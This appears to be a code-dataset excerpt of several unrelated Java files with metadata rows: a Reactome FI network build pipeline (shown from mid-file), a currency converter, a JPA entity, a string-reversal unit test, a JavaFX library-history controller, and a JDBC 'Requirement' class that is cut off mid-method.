import org.reactome.data.EnsemblAnalyzer;
import org.reactome.data.GODataAnalyzerV2;
import org.reactome.data.GOTermLoader;
import org.reactome.data.IRefIndexMITTabAnalyzer;
import org.reactome.data.MicroarrayDataAnalyzer;
import org.reactome.data.PfamAnalyzer;
import org.reactome.data.ReactomeAnalyzer;
import org.reactome.data.UniProtAnalyzer;
import org.reactome.fi.util.FIConfiguration;
import org.reactome.hibernate.HibernateFIReader;
import org.reactome.kegg.KeggToReactomeConverter;
import org.reactome.panther.PantherToReactomeConverterTest;
import org.reactome.psi.data.PsiMiOrthologyAnalyzer;
import org.reactome.tred.TREDToReactomeConverter;
/**
* This class groups a list of methods that should be run for building a new version of FI network.
* Here is the sequence to run these methods:
* 1). prepareMappingFiles()
* 2). convertPathwayDBs()
* 3). dumpPathwayDBs()
* 4). prepareNBCFeatures()
* 5). trainNBC()
* 6). predictFIs()
* 7). buildFIDb()
* 8). generateCytoscapePlugInFiles()
* 9). compareFilesToPreviousVersion()
* @author gwu
*
*/
public class FINetworkBuilder {
private static Logger logger = Logger.getLogger(FINetworkBuilder.class);
public FINetworkBuilder() {
PropertyConfigurator.configure("resources/log4j.properties");
}
/**
* Running this method to prepare several files that are used to do mapping.
* This method should be run first.
* @throws Exception
*/
@Test
public void prepareMappingFiles() throws Exception {
UniProtAnalyzer uniProtAnalyzer = new UniProtAnalyzer();
logger.info("Running UniProtAnalyzer.generateUniProtIDsMap()...");
uniProtAnalyzer.generateUniProtIDsMap();
logger.info("Running UniProtAnalyzer.generateEntrezGeneToUniProt()...");
uniProtAnalyzer.generateEntrezGeneToUniProt();
logger.info("Running UniProtAnalyzer.generateUniToPfamMap()...");
uniProtAnalyzer.generateUniToPfamMap();
// For GO annotation. As of 2016, go.obo is downloaded and terms_and_ids.txt
// should be generated before other procedures.
GOTermLoader loader = new GOTermLoader();
logger.info("Generating GO.terms_and_ids.txt from go.obo...");
loader.generateGOTermsToIdsFromObo();
}
/**
* Convert non-Reactome pathway databases into a local Reactome curator tool
* projects before dumping into the merged database.
* @throws Exception
*/
@Test
public void convertPathwayDBs() throws Exception {
KeggToReactomeConverter keggConverter = new KeggToReactomeConverter();
logger.info("Running KeggToReactomeConverter.runBatchConver()...");
keggConverter.runBatchConvert();
NciPIDConverterRunner nciPidConverter = new NciPIDConverterRunner();
logger.info("Running NciPIDConverrerRunner.runConvertOfCurated()...");
nciPidConverter.runConvertOfCurated();
logger.info("Running NciPIDConverterRunner.runConvertOfBiocarta()...");
nciPidConverter.runConvertOfBioCarta();
TREDToReactomeConverter tredConverter = new TREDToReactomeConverter();
logger.info("Running TREDToReactomeConverter.doConvert()...");
tredConverter.doConvert();
// Gene expressions have been used as support evidences for TF/Target interactions
// from ENCODE. So have to call these methods first in order to get co-expression
// values
// These two methods will be called again in method prepareNBCFeatures(). The results
// should be the same!
MicroarrayDataAnalyzer microarrayAnalyzer = new MicroarrayDataAnalyzer();
logger.info("Running MicroarrayDataAnalyzer.normalizeLeeGeneExp()...");
microarrayAnalyzer.normalizeLeeGeneExp();
logger.info("Running MicroarrayDataAnalyzer.generatePrietoCarlosGeneExpFile()...");
microarrayAnalyzer.generatePrietoCarlosGeneExpFile();
logger.info("Running EncodeTFTargetToReactomeConverter.convert()...");
new EncodeTFTargetToReactomeConverter().convert();
PantherToReactomeConverterTest pantherConverter = new PantherToReactomeConverterTest();
logger.info("Running PantherToReactomeConverterTest.testNewBatchConverter()...");
pantherConverter.testNewBatchConverter();
// Check protein coverage
// Some files have not be generated in the following call. This method should not be called.
ProteinAndInteractionCount count = new ProteinAndInteractionCount();
logger.info("Count proteins...");
count.checkUniProtNumbersInConvertedDBs();
}
/**
* Dump converted pathways from other databases into the extended Reactome database.
* Before running method, try to take a look at the converted projects to make sure
* nothing weird there.
* @throws Exception
*/
@Test
public void dumpPathwayDBs() throws Exception {
ConvertedPathwayDbDumper dumper = new ConvertedPathwayDbDumper();
logger.info("Running ConvertedPathwayDbDumper.dumpPathwayDBs()...");
dumper.dump();
}
/**
* Extract Pathway FIs from Reactome and other imported pathway dbs, and dump
* them into a local file. Before running this method, make sure you have set
* dataSourceIds correctly in method ReactomeAnalyzer.getPathwayDBAnalyzers().
* @throws Exception
*/
@Test
public void dumpPathwayFIs() throws Exception {
logger.info("Running FIFileAnalyzer.dumpPathwayFIs()...");
FIFileAnalyzer fiFileAnalyzer = new FIFileAnalyzer();
fiFileAnalyzer.dumpPathwayFIs();
}
/**
* Run this method to prepare features for NBC training.
* @throws Exception
*/
@Test
public void prepareNBCFeatures() throws Exception {
// The following statements are used for PPI based features
EnsemblAnalyzer ensemblAnalyzer = new EnsemblAnalyzer();
logger.info("Running EnsemblAnalyzer.dumpProteinFamilies()...");
ensemblAnalyzer.dumpProteinFamilies();
// Extract PPIs from PSITAB files
IRefIndexMITTabAnalyzer iRefIndexAnalyzer = new IRefIndexMITTabAnalyzer();
logger.info("Running IRefIndexMITTabAnalyzer.loadHumanPPIs()...");
iRefIndexAnalyzer.loadHumanPPIs();
logger.info("Running IRefIndexMITTabAnalyzer.loadFlyPPIs()...");
iRefIndexAnalyzer.loadFlyPPIs();
logger.info("Running IRefIndexMITTabAnalyzer.loadWormPPIs()...");
iRefIndexAnalyzer.loadWormPPIs();
logger.info("Running IRefIndexMITTabAnalyzer.loadYeastPPIs()...");
iRefIndexAnalyzer.loadYeastPPIs();
logger.info("Running IRefIndexMITTabAnalyzer.loadMousePPIs()...");
iRefIndexAnalyzer.loadMousePPIs();
// Map PPIs in other species to human PPIs via ensembl compara
PsiMiOrthologyAnalyzer psimiAnalyzer = new PsiMiOrthologyAnalyzer();
logger.info("Running PsiMiOrthologyAnalyzer.generateHumanPPIsFromYeastInUniProt()...");
psimiAnalyzer.generateHumanPPIsFromYeastInUniProt();
logger.info("Running PsiMiOrthologyAnalyzer.generateHumanPPIsFromWormInUniProt()...");
psimiAnalyzer.generateHumanPPIsFromWormInUniProt();
logger.info("Running PsiMiOrthologyAnalyzer.generateHumanPPIsFromFlyInUniProt()...");
psimiAnalyzer.generateHumanPPIsFromFlyInUniProt();
logger.info("Running PsiMiOrthologyAnalyzer.generateHumanPPIsFromMouseInUniProt()...");
psimiAnalyzer.generateHumanPPIsFromMouseInUniProt();
// Check PPIs' odds ratioes
logger.info("Checking odds ratio...");
psimiAnalyzer.testPPIsFeatures();
// The following statements are used for gene expression based features: two
// data sets have been used here.
MicroarrayDataAnalyzer microarrayAnalyzer = new MicroarrayDataAnalyzer();
logger.info("Running MicroarrayDataAnalyzer.normalizeLeeGeneExp()...");
microarrayAnalyzer.normalizeLeeGeneExp();
logger.info("Checking its odds ratio...");
microarrayAnalyzer.checkCoExpFromPavlidis();
logger.info("Running MicroarrayDataAnalyzer.generatePrietoCarlosGeneExpFile()...");
microarrayAnalyzer.generatePrietoCarlosGeneExpFile();
logger.info("Check its odds ratio...");
microarrayAnalyzer.checkCoExpFromPrietoCarlos();
// Domain-domain interactions
PfamAnalyzer pfamAnalyzer = new PfamAnalyzer();
logger.info("Running PfamAnalyzer.convertIntToPfamIDs()...");
pfamAnalyzer.convertIntToPfamIDs();
logger.info("Checking its odds ratio...");
pfamAnalyzer.testPfamFeature();
// Nothing needs to be generated. But we want to check GO features
GODataAnalyzerV2 goAnalyzer = new GODataAnalyzerV2();
logger.info("Checking GO features...");
goAnalyzer.testGOFeatures();
}
/**
* Train NBC, create data for ROC curve, check protein coverge and generate
* a predicted FI file. The data file generated from calcualteROCPoints() should
* be used in R for generating ROC curve and calculate AUC.
* @throws Exception
*/
@Test
public void trainNBC() throws Exception {
NBCAnalyzer nbcAnalyzer = new NBCAnalyzer();
logger.info("Running NBCAnalyzer.calculateNBCBasedOnReactome()...");
nbcAnalyzer.calculateNBCBasedOnReactome();
logger.info("Running NBCAnalyzer.calculateROCPoints()...");
nbcAnalyzer.calculateROCPoints();
// Generate protein pairs having domain-domain interactions
logger.info("Running NBCAnalyzer.checkSharedBPPairAndDomainPairs()...");
nbcAnalyzer.checkSharedBPPairAndDomainPair();
logger.info("Running checkCutoffValueForPredictedFIs()...");
nbcAnalyzer.checkCutoffValueForPredictedFIs();
// At this stage, NBCGUITest() should be run to check contributions of each
// feature and see if anything is weird!
// This method should be run separately
// NBCGUITest.main()
}
/**
* After investigating the results from method trainNBC(), choose an appropriate
* cutoff value, and set in the configuration file: results/configuration.prop.
* Usually 0.50 or above should be chosen unless you have a strong reason not so.
* @throws Exception
*/
@Test
public void predictFIs() throws Exception {
NBCAnalyzer nbcAnalyzer = new NBCAnalyzer();
logger.info("Running NBCAnalyzer.generatePredictedFIs()...");
nbcAnalyzer.generatePredictedFIs();
}
/**
* Generate a hibernate based FI database and dump FIs in gene names into
* files.
* @throws Exception
*/
@Test
public void buildFIDb() throws Exception {
// Need to generate database schema first. To do there, an
// empty database should be available first.
FIDBBuilder dbBuilder = new FIDBBuilder();
logger.info("Running FIDBBuilder.generateSchema()...");
dbBuilder.generateSchema();
// Dump extracted pathway FIs into the database
logger.info("Running FIDBBuilder.dump()...");
dbBuilder.dump();
// Dump predicted FIs into the database
logger.info("Running FIDBBuilder.dumpPredicted()...");
dbBuilder.dumpPredictedFIs();
}
/**
* Use this method to generate a list of static files to be used by Cytoscape plug-in.
* @throws Exception
*/
@Test
public void generateCytoscapePlugInFiles() throws Exception {
// These two files are used for reaction-based enrichment analysis
ReactomeAnalyzer reactomeAnalyzer = new ReactomeAnalyzer();
logger.info("Running ReactomeAnalyzer.generateGenesToReactionsMap()...");
reactomeAnalyzer.generateGenesToReactionsMap();
logger.info("Running ReactomeAnalyzer.generateFIsToReactionsMap()...");
reactomeAnalyzer.generateFIsToReactionsMap();
// if (true)
// return;
// Generate a file containing FIs in gene names so that it can be used in
// plug-in and data analysis
HibernateFIReader hibernateReader = new HibernateFIReader();
logger.info("Running HibernateFIReader.generateFIFileInGeneInHiberante()...");
hibernateReader.generateFIFileInGeneInHibernate();
// if (true)
// return;
// Create a map from pathway fis to their original sources
logger.info("Running HibernateFIReader.generateFIInGeneSourceFile()...");
hibernateReader.generateFIInGeneSourceFile();
// Generate the largest graph component
FIGraphAnalyzer graphAnalyzer = new FIGraphAnalyzer();
logger.info("Running FIGraphAnalyzer.analyzeComponents()...");
graphAnalyzer.analyzeComponents();
// Mapping from protein accessions to names
// This file is not used here right now. But it is used in the plug-in.
logger.info("Running HiberanteFIReader.generateAccessionToProteinNameMap()...");
hibernateReader.generateAccessionToProteinNameMap();
PathwayGeneSetGenerator genesetGenerator = new PathwayGeneSetGenerator();
logger.info("Running PathwayGeneSetGenerator.generateReactomePathwayListBasedOnDiagrams()...");
// Generate a flattened list of pathways from the Reactome database. Each Reactome pathway should have
// an associated pathway diagram fully laid-out.
genesetGenerator.generateReactomePathwayListBasedOnDiagrams();
// Generate Pathways to Genes mappings for enrichment analysis
logger.info("Running PathwayGeneSetGenerator.generateProteinNameToPathwayMap()...");
genesetGenerator.generateProteinNameToPathwayMap();
// Generate a list of all pathways in the Reactome database. This list of pathways is used for
// pathway enrichment analysis in a hierarchical way (aka not based on flatenned list)
// Generate GMT file for GSEA analysis
genesetGenerator.generateHumanFiles();
// For mouse files
genesetGenerator.generateMouseFiles();
// Dump MySQL databases to MyISAM types so that they can be loaded into the deployment machine
// or be backed up
MySQLDatabaseHandler dbHandler = new MySQLDatabaseHandler();
dbHandler.dumpDatabases();
// Copy files needed by the plug-in web application
CytoscapePlugInFileHandler fileHandler = new CytoscapePlugInFileHandler();
fileHandler.generatePlugInFiles();
// The following statements are used to generate the matrix file for the biggest FI network component.
// The generated matrix should be moved to the OICR to calculate the heat kernel for the HotNet implementation
// using R (using script runHeatKernel_R.sh, which should be modified for the correct file names).
// The generated matrix text file should NOT be copied into the WEB-INF folder.
// HotNetMatrixCalculator hotnetMatrixCalculator = new HotNetMatrixCalculator();
// hotnetMatrixCalculator.testCalculateHeatKernel();
// The following method should be called after the kernel file was generated from using R
// HotNetMatrixCalculator hotnetMatrixCalculator = new HotNetMatrixCalculator();
// hotnetMatrixCalculator.generateSerializedMatrixFile();
// Generate factor graphs for pathway diagrams to be used by the Cytoscape app
// Consider running this with its own step to avoid a long logging.
FactorGraphDumper fgDumper = new FactorGraphDumper();
fgDumper.dump();
// Don't forget to generate FIsInGene_xxxxxx_with_annotations.txt file by using
// the method in the fiviz_corews project:
// The method should be run is in class org.reactome.r3.fi.InteractionAnnotator.annotateAllFIs()
// in project FIVizWS_corews. This should be moved to here in the future.
// logger.info("Running InteractionAnnotator.annotateAllFIs()...");
// InteractionAnnotator annotator = new InteractionAnnotator();
// annotator.annoateAllFIs();
}
/**
* This method is used to generate a comparison file to compare files
* generated for this version to a previous version. The results are better
* to be viewed in Excel, and copied to the combined_logging.txt file.
* @throws IOException
*/
@Test
public void compareFilesToPreviousVersion() throws IOException {
FIConfiguration config = FIConfiguration.getConfiguration();
String year = config.get("YEAR");
String preYear = (new Integer(year) - 1) + "";
File dir = new File(config.get("RESULT_DIR"));
Map<String, File> nameToFile = getNameToFile(dir);
// After migrating to git. For 2017 only.
// String preDirName = "/Users/wug/Documents/eclipse_workspace/FINetworkBuild_CVS/results/";
// File preDir = new File(preDirName + preYear);
File preDir = new File("results/" + preYear);
Map<String, File> preNameToFile = getNameToFile(preDir);
Set<String> allNames = new HashSet<String>(nameToFile.keySet());
allNames.addAll(preNameToFile.keySet());
List<String> nameList = new ArrayList<String>(allNames);
Collections.sort(nameList);
// Just print out files in the system out for easy view
System.out.println("\t" + year + "\t" + preYear);
for (String name : nameList) {
if (name.startsWith("."))
continue; // Don't show hidden file
File file = nameToFile.get(name);
File preFile = preNameToFile.get(name);
System.out.println(name + "\t" +
(file == null ? "NA" : file.length()) + "\t" +
(preFile == null ? "NA" : preFile.length()));
}
}
private Map<String, File> getNameToFile(File dir) {
Map<String, File> nameToFile = new HashMap<String, File>();
File[] files = dir.listFiles();
for (File file : files)
nameToFile.put(file.getName(), file);
return nameToFile;
}
}
| 18,796 | 0.693179 | 0.691317 | 394 | 46.705585 | 28.937349 | 118 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.532995 | false | false | 15 |
30093394226fef4c63df38b98cc56145b7b3e8b5 | 27,633,819,597,278 | c65bc799ac70136824a6cb45db9192328960f596 | /src/util/Dolar.java | b04348276002dd2ce861590304176c6a1a9c0931 | [] | no_license | ivsongfs/Poo | https://github.com/ivsongfs/Poo | 80d280d86d1c7ed42ae3f7244632b8419fab151a | 6748dd3f64bd6ba8fd55a5457e6132d5cf9814bd | refs/heads/master | 2020-04-28T01:42:56.270000 | 2019-03-10T21:06:10 | 2019-03-10T21:06:10 | 174,868,154 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package util;
public class Dolar {
public static double dolar;
public static double reais;
public static final double IOF = 0.06;
public static double converter() {
double convercao = dolar * reais;
return convercao + convercao * IOF;
}
}
| UTF-8 | Java | 254 | java | Dolar.java | Java | [] | null | [] | package util;
public class Dolar {
public static double dolar;
public static double reais;
public static final double IOF = 0.06;
public static double converter() {
double convercao = dolar * reais;
return convercao + convercao * IOF;
}
}
| 254 | 0.712598 | 0.700787 | 15 | 15.933333 | 15.652334 | 39 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.066667 | false | false | 15 |
48b0f5cc53c34ba180392d9acbd3f5fa51bd3284 | 10,067,403,370,917 | 3dadae2654add0d1b75cc7abd1730db2d663b8cd | /src/main/java/mx/samedgo/entity/Direccion.java | 788f45e6c9dcd7ea730b21d7d6a7c60bcb7af020 | [] | no_license | noisyboy/JPA-Hibernate | https://github.com/noisyboy/JPA-Hibernate | 2361411b9e64bfbb71593680bcaf1e08c65738bb | 6d4df1a4d3283065e2639562b86bd44a8e00352c | refs/heads/master | 2020-05-29T11:08:40.901000 | 2019-05-28T21:38:17 | 2019-05-28T21:38:17 | 189,107,043 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package mx.samedgo.entity;
import javax.persistence.*;
@Entity
@Table
public class Direccion {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(unique = true, updatable = false)
private long direccion_id;
@Column
private String calle;
@Column
private String colonia;
@OneToOne(mappedBy = "direccion", fetch = FetchType.LAZY) // indica que debe ser mapeado por la clase direccion
private Empleado empleado;
public Direccion() {
}
public Direccion(String calle, String colonia) {
this.calle = calle;
this.colonia = colonia;
}
public long getDireccion_id() {
return direccion_id;
}
public void setDireccion_id(long direccion_id) {
this.direccion_id = direccion_id;
}
public String getCalle() {
return calle;
}
public void setCalle(String calle) {
this.calle = calle;
}
public String getColonia() {
return colonia;
}
public void setColonia(String colonia) {
this.colonia = colonia;
}
@Override
public String toString() {
return "Direccion{" +
"direccion_id=" + direccion_id +
", calle='" + calle + '\'' +
", colonia='" + colonia + '\'' +
'}';
}
} | UTF-8 | Java | 1,324 | java | Direccion.java | Java | [] | null | [] | package mx.samedgo.entity;
import javax.persistence.*;
@Entity
@Table
public class Direccion {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(unique = true, updatable = false)
private long direccion_id;
@Column
private String calle;
@Column
private String colonia;
@OneToOne(mappedBy = "direccion", fetch = FetchType.LAZY) // indica que debe ser mapeado por la clase direccion
private Empleado empleado;
public Direccion() {
}
public Direccion(String calle, String colonia) {
this.calle = calle;
this.colonia = colonia;
}
public long getDireccion_id() {
return direccion_id;
}
public void setDireccion_id(long direccion_id) {
this.direccion_id = direccion_id;
}
public String getCalle() {
return calle;
}
public void setCalle(String calle) {
this.calle = calle;
}
public String getColonia() {
return colonia;
}
public void setColonia(String colonia) {
this.colonia = colonia;
}
@Override
public String toString() {
return "Direccion{" +
"direccion_id=" + direccion_id +
", calle='" + calle + '\'' +
", colonia='" + colonia + '\'' +
'}';
}
} | 1,324 | 0.583082 | 0.583082 | 63 | 20.031746 | 20.728762 | 115 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.31746 | false | false | 15 |
9c01c2e556d0c798f8e9205d7a384469dc6440e9 | 3,813,930,984,239 | edceaba035e882b5f127296be29246f980ab7a31 | /src/test/java/com/github/xdshent/leetcode/string/ReverseOnlyLettersSolutionTest.java | 265f221e444838f12ff24670b83df8d5a1b5dde7 | [] | no_license | xdshent/LeetCode | https://github.com/xdshent/LeetCode | bae5850e18869fb3f8e09e027989b67743672eca | 4e26b1ea660ce2c1ec2defa4d2e5409bcb968a53 | refs/heads/master | 2021-06-25T16:58:22.086000 | 2020-11-23T09:10:05 | 2020-11-23T09:10:05 | 173,771,228 | 1 | 0 | null | false | 2020-11-23T09:10:07 | 2019-03-04T15:30:53 | 2020-06-20T00:14:52 | 2020-11-23T09:10:06 | 444 | 1 | 0 | 0 | Java | false | false | package com.github.xdshent.leetcode.string;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
public class ReverseOnlyLettersSolutionTest {
private ReverseOnlyLettersSolution reverseOnlyLettersSolution;
private String s;
@Before
public void setUp() throws Exception {
reverseOnlyLettersSolution = new ReverseOnlyLettersSolution();
s = "ab-cd";
}
@After
public void tearDown() throws Exception {
}
@Test
public void reverseOnlyLetters() {
String expected = "dc-ba";
String result = reverseOnlyLettersSolution.reverseOnlyLetters(s);
Assert.assertEquals(expected, result);
s = "a-bC-dEf-ghIj";
expected = "j-Ih-gfE-dCba";
result = reverseOnlyLettersSolution.reverseOnlyLetters(s);
Assert.assertEquals(expected, result);
s = "Test1ng-Leet=code-Q!";
expected = "Qedo1ct-eeLg=ntse-T!";
result = reverseOnlyLettersSolution.reverseOnlyLetters(s);
Assert.assertEquals(expected, result);
s = "!----!";
expected = "!----!";
result = reverseOnlyLettersSolution.reverseOnlyLetters(s);
Assert.assertEquals(expected, result);
s = "l----!";
expected = "l----!";
result = reverseOnlyLettersSolution.reverseOnlyLetters(s);
Assert.assertEquals(expected, result);
s = "";
expected = "";
result = reverseOnlyLettersSolution.reverseOnlyLetters(s);
Assert.assertEquals(expected, result);
s = null;
expected = null;
result = reverseOnlyLettersSolution.reverseOnlyLetters(s);
Assert.assertEquals(expected, result);
}
} | UTF-8 | Java | 1,728 | java | ReverseOnlyLettersSolutionTest.java | Java | [
{
"context": "package com.github.xdshent.leetcode.string;\n\nimport org.junit.After;\nimport ",
"end": 26,
"score": 0.991192638874054,
"start": 19,
"tag": "USERNAME",
"value": "xdshent"
}
] | null | [] | package com.github.xdshent.leetcode.string;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
public class ReverseOnlyLettersSolutionTest {
private ReverseOnlyLettersSolution reverseOnlyLettersSolution;
private String s;
@Before
public void setUp() throws Exception {
reverseOnlyLettersSolution = new ReverseOnlyLettersSolution();
s = "ab-cd";
}
@After
public void tearDown() throws Exception {
}
@Test
public void reverseOnlyLetters() {
String expected = "dc-ba";
String result = reverseOnlyLettersSolution.reverseOnlyLetters(s);
Assert.assertEquals(expected, result);
s = "a-bC-dEf-ghIj";
expected = "j-Ih-gfE-dCba";
result = reverseOnlyLettersSolution.reverseOnlyLetters(s);
Assert.assertEquals(expected, result);
s = "Test1ng-Leet=code-Q!";
expected = "Qedo1ct-eeLg=ntse-T!";
result = reverseOnlyLettersSolution.reverseOnlyLetters(s);
Assert.assertEquals(expected, result);
s = "!----!";
expected = "!----!";
result = reverseOnlyLettersSolution.reverseOnlyLetters(s);
Assert.assertEquals(expected, result);
s = "l----!";
expected = "l----!";
result = reverseOnlyLettersSolution.reverseOnlyLetters(s);
Assert.assertEquals(expected, result);
s = "";
expected = "";
result = reverseOnlyLettersSolution.reverseOnlyLetters(s);
Assert.assertEquals(expected, result);
s = null;
expected = null;
result = reverseOnlyLettersSolution.reverseOnlyLetters(s);
Assert.assertEquals(expected, result);
}
} | 1,728 | 0.645255 | 0.644097 | 59 | 28.305084 | 22.897158 | 73 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.728814 | false | false | 15 |
4017ac7f0dbe841d73fbd73a5b1a3781925246c7 | 32,306,744,063,255 | 30b2f268a22bbe9501f6cc153cd1375fe2164bd3 | /Assignment3-code/OBL/src/boundary/UserHistoryController.java | b683f46973a637642093b9b432b8d4450e7468dc | [] | no_license | FaresJaraisy/Library | https://github.com/FaresJaraisy/Library | 330a224509c7297cd9b0b800bee6e264be4c417c | 94067f84472e2aaeb644608f2c8aaf5b19540e24 | refs/heads/master | 2020-04-09T02:13:13.420000 | 2019-10-10T13:32:14 | 2019-10-10T13:32:14 | 159,932,783 | 0 | 0 | null | false | 2018-12-30T07:59:51 | 2018-12-01T10:20:00 | 2018-12-29T19:38:31 | 2018-12-29T19:38:30 | 11,924 | 0 | 0 | 0 | null | false | null | package boundary;
import java.util.ArrayList;
import control.BorrowsController;
import control.HistoryController;
import entity.Borrows;
import entity.ConstantsAndGlobalVars;
import entity.History;
import entity.History;
import entity.User;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.event.ActionEvent;
import javafx.fxml.FXML;
import javafx.scene.control.Button;
import javafx.scene.control.TableColumn;
import javafx.scene.control.TableView;
import javafx.scene.control.cell.PropertyValueFactory;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.stage.Stage;
/**
* @see boundary.UserBorrowsController very similar, only difference is it displays the history (inactive borrows and reservation).
*/
public class UserHistoryController {
private HistoryController historyController;
private ArrayList<History> res;
private ObservableList<History> data;
private User currentUser;
@FXML
private ImageView oblImg;
@FXML
private TableView table;
@FXML
private TableColumn userIDTC;
@FXML
private TableColumn barcodeTC;
@FXML
private TableColumn eventTC;
@FXML
private TableColumn eventDateTC;
@FXML
private Button closeBtn;
@FXML
void initialize(){
historyController=HistoryController.getInstance(ConstantsAndGlobalVars.ipAddress,
ConstantsAndGlobalVars.DEFAULT_PORT);
Image img = new Image("/pictures/oblLogo.gif");
oblImg.setImage(img);
}
public void loadUser(User u) {
this.currentUser = u;
try {
res = historyController.viewhistory(currentUser);
//System.out.println(res);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
data = FXCollections.observableArrayList(res);
table.setItems(data);
userIDTC.setCellValueFactory(new PropertyValueFactory("userID"));
barcodeTC.setCellValueFactory(new PropertyValueFactory("barcode"));
eventTC.setCellValueFactory(new PropertyValueFactory("type"));
eventDateTC.setCellValueFactory(new PropertyValueFactory("eventDate"));
}
@FXML
void onClose(ActionEvent event) {
closeHistoryWindow();
}
public void closeHistoryWindow()
{
if(res!=null)
res.clear();
Stage window = (Stage) closeBtn.getScene().getWindow();
window.close();
}
} | UTF-8 | Java | 2,362 | java | UserHistoryController.java | Java | [] | null | [] | package boundary;
import java.util.ArrayList;
import control.BorrowsController;
import control.HistoryController;
import entity.Borrows;
import entity.ConstantsAndGlobalVars;
import entity.History;
import entity.History;
import entity.User;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.event.ActionEvent;
import javafx.fxml.FXML;
import javafx.scene.control.Button;
import javafx.scene.control.TableColumn;
import javafx.scene.control.TableView;
import javafx.scene.control.cell.PropertyValueFactory;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.stage.Stage;
/**
* @see boundary.UserBorrowsController very similar, only difference is it displays the history (inactive borrows and reservation).
*/
public class UserHistoryController {
private HistoryController historyController;
private ArrayList<History> res;
private ObservableList<History> data;
private User currentUser;
@FXML
private ImageView oblImg;
@FXML
private TableView table;
@FXML
private TableColumn userIDTC;
@FXML
private TableColumn barcodeTC;
@FXML
private TableColumn eventTC;
@FXML
private TableColumn eventDateTC;
@FXML
private Button closeBtn;
@FXML
void initialize(){
historyController=HistoryController.getInstance(ConstantsAndGlobalVars.ipAddress,
ConstantsAndGlobalVars.DEFAULT_PORT);
Image img = new Image("/pictures/oblLogo.gif");
oblImg.setImage(img);
}
public void loadUser(User u) {
this.currentUser = u;
try {
res = historyController.viewhistory(currentUser);
//System.out.println(res);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
data = FXCollections.observableArrayList(res);
table.setItems(data);
userIDTC.setCellValueFactory(new PropertyValueFactory("userID"));
barcodeTC.setCellValueFactory(new PropertyValueFactory("barcode"));
eventTC.setCellValueFactory(new PropertyValueFactory("type"));
eventDateTC.setCellValueFactory(new PropertyValueFactory("eventDate"));
}
@FXML
void onClose(ActionEvent event) {
closeHistoryWindow();
}
public void closeHistoryWindow()
{
if(res!=null)
res.clear();
Stage window = (Stage) closeBtn.getScene().getWindow();
window.close();
}
} | 2,362 | 0.759102 | 0.759102 | 95 | 23.873684 | 22.480515 | 131 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.284211 | false | false | 15 |
39cd1fc5369cd4293e1c057524955c8d676bcc02 | 19,378,892,486,230 | 10257d94098fd5b9523b99b6adb3a531da0c4fc5 | /Project/src/mypack/Requirement.java | 7e8a7565bd3392dc58a255acf714bc5f1d605b69 | [] | no_license | tanaymukherjee/Project-Emandi | https://github.com/tanaymukherjee/Project-Emandi | 8b04cad41d0bebb58953ac06c7dad9282faa6b8c | 3883c3a013e95de09b7ce91f57574d54fe3db8bc | refs/heads/master | 2020-12-05T05:45:29.763000 | 2020-01-20T00:01:15 | 2020-01-20T00:01:15 | 232,024,771 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package mypack;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
public class Requirement {
private String emailid,name,user,mobno,category,subcategory,quantity,unit;
private Connection con;
private PreparedStatement ps;
private ResultSet rs;
public Requirement() {
// TODO Auto-generated constructor stub
}
public Requirement(String emailid, String name, String user, String mobno,
String category, String subcategory, String quantity, String unit) {
super();
this.emailid = emailid;
this.name = name;
this.user = user;
this.mobno = mobno;
this.category = category;
this.subcategory = subcategory;
this.quantity = quantity;
this.unit = unit;
}
public Requirement(String emailid, String name, String user,
String subcategory, String quantity, String unit) {
super();
this.emailid = emailid;
this.name = name;
this.user = user;
this.subcategory = subcategory;
this.quantity = quantity;
this.unit = unit;
}
public Requirement(String emailid, String name, String user, String mobno) {
super();
this.emailid = emailid;
this.name = name;
this.user = user;
this.mobno = mobno;
}
public String getEmailid() {
return emailid;
}
public void setEmailid(String emailid) {
this.emailid = emailid;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getUser() {
return user;
}
public void setUser(String user) {
this.user = user;
}
public String getMobno() {
return mobno;
}
public void setMobno(String mobno) {
this.mobno = mobno;
}
public String getCategory() {
return category;
}
public void setCategory(String category) {
this.category = category;
}
public String getSubcategory() {
return subcategory;
}
public void setSubcategory(String subcategory) {
this.subcategory = subcategory;
}
public String getQuantity() {
return quantity;
}
public void setQuantity(String quantity) {
this.quantity = quantity;
}
public String getUnit() {
return unit;
}
public void setUnit(String unit) {
this.unit = unit;
}
public boolean insertrequirement() throws Exception {
con = Mycon.getConnection();
ps = con.prepareStatement("insert into REQUIREMENT values(?,?,?,?,?,?,?,?)");
ps.setString(1, this.emailid);
ps.setString(2, name);
ps.setString(3, user);
ps.setString(4, mobno);
ps.setString(5, category);
ps.setString(6, subcategory);
ps.setString(7, quantity);
ps.setString(8, unit);
int i=ps.executeUpdate();
if(i>0){
return true;
}
return false;
}
public ResultSet getrequirement() throws Exception
{
con=Mycon.getConnection();
ps=con.prepareStatement("Select * from (select EMAILID,NAME,USERTYPE,MOBNO,CATEGORY,SUBCATEGORY,QUANTITY,UNIT,ROW_NUMBER() OVER () AS RN FROM REQUIREMENT where EMAILID!=?) AS col order by RN desc");
ps.setString(1,this.emailid);
rs=ps.executeQuery();
if(rs==null)return null;
return rs;
}
public ResultSet getrequirementcontact() throws Exception
{
if(quantity.contains("kg"))
{
quantity=quantity.replace("kg","");
}
if(quantity.contains("quintal"))
{
quantity=quantity.replace("quintal","");
}
